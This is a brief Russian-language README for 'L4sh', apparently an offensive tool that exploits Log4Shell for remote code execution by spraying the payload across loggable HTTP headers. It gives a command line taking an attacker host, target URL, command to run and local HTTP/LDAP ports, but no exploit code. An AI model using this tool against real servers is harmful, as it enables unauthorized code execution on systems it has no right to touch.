L4sh

Эксплойт Log4Shell RCE

Полностью независимый эксплойт не требует каких-либо сторонних бинарных файлов. Эксплойт распыляет полезную нагрузку по всем возможным логируемым HTTP-заголовкам, таким как X-Forwarding , Server-IP , User-Agent.

Использование

python main.py -i lhost -u http://target:targetport -c "command_to_execute" -p lhttp_port -l lldap_port

Требования

• java-8-openjdk
• pip install -r requirements.txt
• python3.6+